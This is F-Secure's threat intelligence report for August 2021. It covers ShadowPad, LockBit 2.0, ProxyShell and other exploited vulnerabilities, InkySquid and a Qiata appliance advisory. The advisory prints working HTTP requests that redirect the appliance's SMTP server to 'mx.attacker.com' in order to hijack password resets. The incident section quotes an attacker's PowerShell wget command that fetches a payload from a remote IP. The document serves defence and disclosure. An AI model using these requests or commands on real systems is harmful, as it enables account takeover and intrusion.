EXECUTIVE SUMMARY

CONTENTS

MONTHLY HIGHLIGHTS
- SHADOWPAD: A modular malware platform of Chinese origin
- RANSOMWARE: LockBit 2.0, vulnerability exploitation and a disgruntled affiliate
- INKYSQUID: Web browser exploits used to infect victims

F-SECURE THREAT DATA HIGHLIGHTS
- Statistics on threat types, exploits, spam themes & malicious attachments

F-SECURE RESEARCH HIGHLIGHTS
- SECUDOS Qiata FTA mail settings access control vulnerability

F-SECURE DETECTION & RESPONSE HIGHLIGHTS
- Incident Corner: ProxyShell exploitation

FOREWORD

It is the end of August 2021, and it has been a month of high-profile vulnerabilities being published and exploited. Ransomware groups have once again made the news for exploiting these vulnerabilities and hitting high profile victims, but also for internal disputes that resulted in a disgruntled affiliate leaking their internal documents – an irony considering the growing leakware trend amongst these groups.

Wider afield we explore the rise of a new module malware platform in use by Chinese threat actors and a campaign in South Korea compromising victims through web browser exploits to deploy custom malware using cloud platforms for command and control.

In F-Secure’s own threat data this month we see continued high exploitation of Microsoft Office vulnerabilities. We see e-commerce and financial themed phishing as the most prevalent this month, along with continued high usage of office and archive documents as malicious attachments.

In research we highlight an access control vulnerability that could lead to account takeover in a file transfer appliance. In our detection and response highlights we investigate a case of attempted ProxyShell exploitation.

We hope you enjoy this month’s report, and as always, we welcome any feedback you may have.

- Callum Roxan, Head of Threat Intelligence
MONTHLY HIGHLIGHTS

SHADOWPAD: A MODULAR MALWARE PLATFORM OF CHINESE ORIGIN

SUMMARY

SentinelLabs published a report related to ShadowPad, a modular malware platform. The full report provides technical analysis of the malware framework as well as SentinelLabs’ assessment of the threat actors attributed to having used the ShadowPad malware since its emergence in 2015. The report identifies ShadowPad as an iterative successor to the widely reported on PlugX malware.

ShadowPad is reported to be a shellcode backdoor that operates a modular plugin-based architecture. SentinelLabs’ analysis states that “on execution, a layer of an obfuscated shellcode loader is responsible for decrypting and loading a Root plugin. While the sequence of operation in the Root plugin decrypts, it loads other plugins embedded in the shellcode into memory”.

In addition to analysing the malware, the report provides details of the ShadowPad controller, which can be viewed as the management console for the framework. SentinelLabs were not able to publish technical details of the controller, but they did share several screenshots, including one included here that shows the different plugins in use by the malware. The malware is comprised of the core “Root” component and at least six core plugins – Config, Install, Online, URL, TCP, and HTTP. These core plugins are embedded in ShadowPad samples by default, with further plugins then available for optional use. These optional plugins can then be uploaded to the malware agent for execution and include capability of other common frameworks such as enumeration and credential access. Samples with a total of nineteen plugins have been identified, though SentinelLab’s aperture suggests samples with six to nine plugins are far more common.

SentinelLabs’ analysis indicates that they believe the authors of ShadowPad are an individual who operates under the moniker “whg” and their affiliate “Rose”. The report identifies that the two have been working together since at least 2005 when they developed the “NCPH Remote Control Software”, which was sold publicly along with “software cracking, malware development and penetration testing” services. The assessment in the report is that ShadowPad is a privately sold framework developed by these two individuals and used by multiple threat actors, all of whom are China-based.

APT41, BARIUM, TICK, and TONTO TEAM are all publicly attributed threat actors that are reported to use the ShadowPad malware. In addition, SentinelLabs have identified three unattributed clusters of activity linked to ShadowPad, which they track as OPERATION REDBONUS, OPERATION REDKANKU, and FISHMONGER. Lastly, SentinelLabs note that LuckyMouse...
(ESET) and Tropic Trooper (PwC) are publicly reported to have used ShadowPad, but they could not independently confirm this.

**F-SECURE’S INSIGHT**

SentinelLabs assert with confidence that the ShadowPad backdoor was developed and is in use by multiple China nexus threat actors. The means for whether this was sold or provided was not proven, but this detail will mean little to end victims of these groups.

The report makes clear the limitations of attributing threat activity based purely on the use of ShadowPad and it shows progress in the industry that such reporting is maturing compared to historic reporting on threat activity related to the Winnti malware family.

There is some analysis in the report that some groups are choosing to use ShadowPad over other malicious tooling, but recent reporting by ESET suggests that this is a constantly evolving picture. ESET identify groups linked to the historic Winnti cluster that have since moved on to a new modular backdoor they track as SideWalk. This analysis is important, as when looking to assess the value in developing countermeasures to malware frameworks organizations need to consider how widespread the use of such malware is as well as the expected longevity of the malware. The SentinelLabs report does identify the relatively widespread adoption of ShadowPad amongst Chinese threat groups, but there is no guarantee of longevity and as the ESET report suggests this is likely to be an ever-evolving picture.

For organizations who identify the threat groups mentioned by SentinelLabs as key threats, then analysis and the development of countermeasures to this threat are recommended. As always, a focus on behaviors over very specific indicators that can be easily changed are recommended. Malware authors are likely to develop from their comfort zone and re-use code between projects, and so some of this focus may also pay off against future malware frameworks used by these groups.

**RANSOMWARE: LOCKBIT 2.0, VULNERABILITY EXPLOITATION AND A DISGRUNTLED AFFILIATE**

**LOCKBIT 2.0**

In a recent report Trend Micro have identified the resurfacing of the LockBit Ransomware as a Service (RaaS) operators, which they dub as LockBit 2.0. The report identifies the adoption of the now common data extortion and leaking practices of other ransomware groups.

The updated capabilities of LockBit are noted to include “automatic encryption of devices across Windows domains by abusing Active Directory (AD) group policies”, recruiting insiders to provide access directly to the group, “Wake-on-LAN feature…sending the Magic Packet “0xFF 0xFF 0xFF 0xFF 0xFF 0xFF” to wake offline devices” and “print bombing of the ransom note onto the victim’s network printers”. The last two reportedly inspired by Ryuk and Egregor ransomware respectively.

Trend Micro identify the majority of LockBit ransomware attacks as being in Chile (84%), though this is likely influenced by bias from their detection aperture of Trend Micro endpoint agents being skewed towards this country and the campaigns conducted there. Other victims were identified in Italy, Taiwan, and the UK.

**VULNERABILITY EXPLOITATION**

August has seen the exploitation of three high profile vulnerabilities by ransomware groups. The vulnerabilities exploited are reported to be ProxyShell, PetitPotam, and PrintNightmare.

The exploitation of ProxyShell is broken down in an excellent blog by Kevin Beaumont. ProxyShell is the collective name for three vulnerabilities in Microsoft Exchange, which should not be confused with the ProxyLogon vulnerabilities that were first reported about in March of this year.
The three vulnerabilities that comprise ProxyShell are:

- CVE-2021-34473 — A pre-authentication path confusion, which leads to an ACL bypass
- CVE-2021-34523 — An elevation of privilege on Exchange PowerShell backend
- CVE-2021-31207 — A post-authentication arbitrary-file-write, which leads to remote code execution (RCE)

These vulnerabilities are more serious than ProxyLogon in the sense that they do not rely on identifying the Exchange administrator in order to exploit. However, the communication around these vulnerabilities was less clear than with ProxyLogon, which has caused some confusion and resulted in some organizations failing to patch these vulnerabilities.

This hasn’t stopped threat actors exploiting these vulnerabilities however, with multiple reports in open source of active exploitation of these vulnerabilities. Symantec identified that actors behind the “LockFile” ransomware were exploiting these vulnerabilities as part of their operations in a report updated on August 23rd.

In the same report Symantec also identify the same threat actors were exploiting the PetitPotam vulnerability to compromise Windows domain controllers. The PetitPotam vulnerability is in the Encrypting File System Remote (EFSRPC) Protocol, which according to Microsoft is “typically used to maintain and manage encrypted data that is stored remotely and accessed over a network. It’s mainly used to manage Windows files that reside on remote file servers and are encrypted using the Encrypting File System (EFS)“.

Symantec reports that the threat actor seemed to employ a tool based on an open-source version of the exploit from Github, named as EfsPotato, in order to exploit the vulnerability. The exploit performs an NTLM relay attack against a domain controller in order to escalate privileges and gain highly privileged access to the domain. Microsoft provide some technical detail for this vulnerability in a post online as well as pointing organizations towards the patch they released on August 10th to resolve the issue.

PrintNightmare is a vulnerability in the printer spooler service that when exploited enables remote code execution on any endpoint with the print pooler service enabled. Practically this enables threat actors to move laterally once they are within a network with ease and helps escalate their privileges. Exploitation of this vulnerability has been incorporated into common offensive tooling such as Mimikatz.

PrintNightmare was initially patched on June 21st under CVE-2021-1675, additional research identified that this patch did not fully resolve the issue and so another patch was released on July 6th under CVE-2021-34527. This highlights the importance of organizations looking to implement security best practice mitigations as well as patching to prevent exploitation of known and unknown vulnerabilities.

CrowdStrike identified a threat actor behind the Magniber ransomware exploiting PrintNightmare on a victim in South Korea. The Magniber ransomware is heavily focused on victims in South Korea and is commonly associated with Exploit Kit infections. The Magniber ransomware itself performs several language checks to ensure it focuses on victims in the Asia Pacific region.

A DISGRUNTLED AFFILIATE

Internal documents and operational details from the CONTI ransomware group were shared by a disgruntled affiliate on the popular cybercriminal forum XSS. The information shared included details of current Command and Control (C2) infrastructure and guides on how to use different malicious and legitimate tools in an intrusion.
The affiliate was reportedly disgruntled due to the poor recompense offered to affiliates who would be conducting the intrusions.

(Source: XSS forum)

Some of the documents included contained detailed guides for affiliates on how to practically use the tools provided for their intrusions. Included within this was guidance on how to exploit CVE-2020-1472, commonly known as ZeroLogon, to gain high level privileges once they have established a foothold on the victim network.

The leak did not contain anything unexpected for organizations who have been tracking this group, but it was a useful insight into some of the behind-the-scenes activities and direction given to these affiliates.

**F-SECURE’S INSIGHT**

LockBit 2.0 may be a relatively new ransomware variant, but it has already claimed several high-profile victims. The group behind this ransomware variant have setup their own leak site and already leaked data from victims who refused to pay, adding to the credibility of their extortion demands. There is nothing fundamentally game changing in this for organizations to be concerned about, and instead this emergence just highlights the fact that the ephemeral nature of specific ransomware strains does not seem to impact the overall prevalence of the ransomware threat and continued prosperity of the wider ecosystem.

The exploitation of vulnerabilities is becoming a common piece of tradecraft for ransomware groups, with F-Secure seeing a similar trend in our own intrusion data. Those highlighted in this report also shows that it is not just externally facing vulnerabilities that are being exploited, and that privilege escalation vulnerabilities are also seen as a valuable pursuit for these threat actors. These facts highlight the importance of ensuring that organizations have a mature patching policy to ensure opportunities do not exist for exploitation by ransomware groups.

The vulnerabilities discussed also highlight the importance of implementing not only patches, but also secure configurations and mitigations. There have been multiple high-profile vulnerabilities this year that have not been fully mitigated through the first patch, and in that absence the mitigations would have provided significant protection for organizations. Some of the suggested mitigations are also controls that can help protect organizations against future vulnerabilities and provide extra security against exploitation.

The affiliate documents did not contain any groundbreaking news for defenders, with many tools and techniques already commonly observed across ransomware related intrusions. However, they are useful for validation of detection logic and highlights techniques to prioritize for those with gaps across this tradecraft.
INKYSQUID: WEB BROWSER EXPLOITS USED TO INFECT VICTIMS

SUMMARY

Volexity recently published a report detailing the exploitation of multiple web browser vulnerabilities by a threat actor they track as InkySquid. The report highlights how the actor added a short snippet of malicious code to a legitimate file on a North Korean focused news website. The code snippet would try to detect users with vulnerable versions of Internet Explorer and then redirect those users to load malicious code from another site they control.

The code loaded after the redirect would appear to be legitimate at first glance due to the inclusion of benign code from the legitimate JavaScript library, “bPopUp”. The malicious code was heavily obfuscated, as can be seen below, and designed to look like a benign SVG and ran through a multi-stage decoding process prior to execution of the final payload, which exploited CVE-2020-1380.

(Source: https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/)

In both instances the end result is reported to be the actor deploying Cobalt Strike on the victim’s endpoint. Volexity noted that for some victims the threat actor would also then later deploy further malware, which they track as BLUELIGHT. This layered approach is common when threat actors wish to protect malware from unnecessary exposure and detection to ensure longevity.

BLUELIGHT is reported to be a comprehensive post exploitation tool that has functionality in many other tools such as executing of files or shellcode, enumeration of host information, capture screenshots and the transferring of data up to its C2 infrastructure. The malware also can harvest password and cookie data from a few supported web browsers, which are Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale. Notably, BLUELIGHT is reported to use different cloud providers to facilitate its C2 communication, and in the report Volexity provide analysis of its use of the Microsoft Graph API and OneDrive for communication.

F-SECURE’S INSIGHT

The report describes a threat actor who displays a high degree of capability both through the exploitation of vulnerabilities, selective targeting, custom malware, and awareness of operational security. The website compromised, a South Korean news website focused on North Korea, as well as some of the technical details of targeting a South Korean browser (Naver Whale) would suggest this was a targeted campaign against victims in South Korea. Therefore, it would be reasonable to assess that it is likely that the threat actor behind this campaign was tasked by an organization with strategic interests in South Korea.

Volexity note briefly in their blog that they link these attacks to APT37, a North Korean threat actor. The actor being of North Korean origin would be credible based on the evidence they have presented. However, the wider evidence to link this to APT37 was not shared in this report. In a subsequent report Volexity identify an intrusion by what they believe is the same actor where RokRAT was deployed shortly after BLUELIGHT. Volexity classify RokRAT as malware.
exclusively used by APT37 and therefore link InkySquid to APT37. There are similarities between BLUELIGHT and RokRAT that would make this link credible, though whether it is the same threat group behind these intrusions or a collection of threat groups who share common tooling is less certain.

What is notable for organizations who assess that InkySquid may target them is the fact that both BLUELIGHT and RokRAT use cloud services for their C2 communication. This common piece of tradecraft across these samples provides a valuable pinch point for organizations to focus detection efforts.
In August, ransomware has been particularly prevalent followed by exploits. Ransomware detections have been trending upwards on a monthly basis and have increased over 300% since August 2020.

CVE-2017-11882 is clearly the most prevalent exploit used in the wild as detected by our endpoint protection. The exploit is most commonly detected in files such as .xlsx, .eml and .doc files. CVE-2017-11882 exploits vulnerability in MS office products and provides remote code execution for the attacker. Most common attack vector is via email campaigns. This attack can be mitigated by updating the MS office with latest security updates.
SPAM EMAIL THEMES

E-Commerce spam continues to dominate the spam landscape. Most of these emails are related to fake purchase orders, payment instructions and order confirmations.

Financial and Cryptocurrency spam continues to follow E-Commerce with no significant shifts.

MALICIOUS EMAIL ATTACHMENTS

Winrar archive formats are the most prevalent attachments in malicious emails. These archives contain other filetypes such as executables and document files. The following most prevalent attachments are .xlsx and .xlsm documents which contain MS Office exploits or malicious macros. In total more than 40% of the malicious attachments in email are MS Office documents.
F-SECURE RESEARCH HIGHLIGHTS

SECUDOS QIATA FTA MAIL SETTINGS ACCESS CONTROL VULNERABILITY

F-Secure’s William Söderberg recently published an advisory of a vulnerability he uncovered in the Secudos Qiata File Transfer Appliance (FTA). The vulnerability is in access control and could allow a low privileged attacker to escalate their privileges on the system and gain unauthorized access to files and functionality.

Secudos describes the software as follows: “Qiata File Transfer Appliances (FTAs) provide the ability to easily and securely exchange files with internal or external users. Qiata is a user-friendly solution in the form of a specialized web application that is optimized for the task of file transfer. Qiata is not some service on the internet. Qiata is an appliance solution that operates within the enterprise itself.”

The vulnerability itself relates to the SMTP configuration of the application. F-Secure found that both low privileged internal and external users could change the SMTP settings of the FTA. The impact of this is that low privileged users can escalate privileges in the system. This can be done by changing the SMTP settings to send e-mails to an attacker-controlled server, the attacker can initiate a password reset for a victim user, view the reset e-mail, and subsequently change victim user’s password.

This vulnerability was assessed to be of medium severity and assigned CVE-2021-33573 and was patched in version 2.21.0 of the FTA application.

In order to carry out the attack, the attacker must first be authenticated to the system. In a plausible narrative, the attacker might have received a link to a file sent from the FTA, providing an external user session on the Qiata FTA:

GET /cgi-bin/login.fcgi?link=d7d2d6c1-67f1-4f81-839a-73aca4d405b9 HTTP/1.1
Host: 192.168.17.128

The response body contains the "tokenValue" which serves as a session identifier on the FTA. The attacker then fetches the SMTP settings using the following request to "/cgi-bin/transfers.fcgi". This returns the SMTP settings including the existing SMTP server address. The SMTP settings are then updated to to send e-mails to an attacker-controlled server ("mx.attacker.com"):

POST /cgi-bin/transfers.fcgi?isc_dataFormat=xml HTTP/1.1
Host: 192.168.17.128
Content-Length: 645
X_CSRF_Token: 8ddd3e2b-73a4-4949-8173-908e38aa7f19
Content-Type: text/xml
Accept: */*

<request>
  <data>
    <id>1f0321fc-e9f5-11de-8199-00248c819310</id>
    <smtpAddress>mx.attacker.com</smtpAddress>
    <senderName>FTA</senderName>
    <senderEmailAddress>fta@f-secure.com</senderEmailAddress>
    <hasSenderDomains>false</hasSenderDomains>
    <isDefault>true</isDefault>
    <testSMTP>false</testSMTP>
    <testSMTPFrom></testSMTPFrom>
    <testSMTPTo></testSMTPTo>
  </data>
  <dataSource>smtpDataSource0</dataSource>
  <operationType>update</operationType>
</request>
The 200 response code and response body returned confirms that these details have been updated:

HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips
mod_fcgid/2.3.9
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: master-only
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000
Vary: Accept-Encoding
Content-Type: text/xml
Content-Length: 491

<?xml version="1.0" encoding="utf-8"?>
<response>
  <status>0</status>
  <data>
    <record>
      <id>1f0321fc-e9f5-11de-8199-00248c819310</id>
      <smtpAddress>mx.attacker.com</smtpAddress>
      <smtpPort>25</smtpPort>
      <smtpUserName></smtpUserName>
      </smtpUserName>
      <smtpPassword></smtpPassword>
      <smtpTLS>false</smtpTLS>
      <senderName>FTA</senderName>
      <senderEmailAddress>fta@f-secure.com</senderEmailAddress>
      </senderEmailAddress>
      <hasSenderDomains>false</hasSenderDomains>
      <senderDomains></senderDomains>
      <testResult>
        <![CDATA[]]>
      </testResult>
    </record>
  </data>
</response>

With the server reconfigured, the attacker can now initiate a password reset for a target user, gaining access to their account. Once the attack has concluded, the same attack vector can be used to change back the SMTP settings in order to avoid raising suspicion.

**Disclosure Timeline**

<table>
<thead>
<tr>
<th>Date</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021-04-14</td>
<td>Notified Secudos about the identified vulnerability</td>
</tr>
<tr>
<td>2021-04-15</td>
<td>Vendor acknowledged issue</td>
</tr>
<tr>
<td>2021-04-26</td>
<td>Patch released in version 2.21.0</td>
</tr>
<tr>
<td>2021-08-24</td>
<td>F-Secure publishes advisory</td>
</tr>
</tbody>
</table>
F-SECURE DETECTION & RESPONSE HIGHLIGHTS

INCIDENT CORNER: PROXY SHELL EXPLOITATION

ProxyShell is part of a recent spate of vulnerabilities in Microsoft Exchange, as covered above in one of our monthly highlights. As is well covered in our and other industry reporting, this vulnerability has attracted exploitation linked to ransomware groups.

On the 18th of August exploitation of ProxyShell was detected on one of the customers of our Managed Detection and Response (MDR) service. In a short period of time four files with “.aspx” extensions were created on an internet facing exchange server. The files, due to the way the exploit works, are Personal Storage Table (PST) files, that function as webshells for the adversaries. These files were created in two directories:

C:\inetpub\wwwroot\aspnet_client\
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\

One actor executed a few commands after exploiting the vulnerability to enumerate the system and attempt to download further payloads from a remote host.

Parent Process: w3wp.exe
Process: cmd.exe
Process Arguments: /c powershell wget http://45.91.83[.]176:27008/qi8EqzrZsofyaw4iDdYA

However, these commands failed to download the external payloads on to the customers endpoint and before they could successfully repeat this attempt the incident was reported and remediated in co-ordination with the customer.

F-SECURE’S INSIGHT

Much of the ProxyShell exploitation activity was reportedly automated and indiscriminately deployed against endpoints across the internet. This observation would align with the activity observed by F-Secure, where the evidence suggests it is likely that multiple threat actors were scanning for and exploiting ProxyShell concurrently.

When reviewing this activity, the F-Secure Threat Intelligence team identified online reporting of the IP address that suggests this was linked to other widely observed activity. Unfortunately, the end payload was no longer available when further investigation was attempted, so no further evidence of other activity could be tied directly to this exploitation.

When investigating wider telemetry across our Endpoint Protection Platform (EPP) data it was possible to identify other victims that had been compromised by the same actor behind the shared malicious PowerShell command. Looking at other detections for these victim endpoints further exploitation was observed shortly after the PowerShell linked to a PetitPotam exploit file. This pattern aligns with other reporting on ProxyShell and LockFile ransomware activity. F-Secure detected victims in DE, FR, HR, and IT.

These intrusions highlight the importance of patching critical external facing assets in a timely manner as groups look to race organizations to exploit these vulnerabilities as quickly as possible.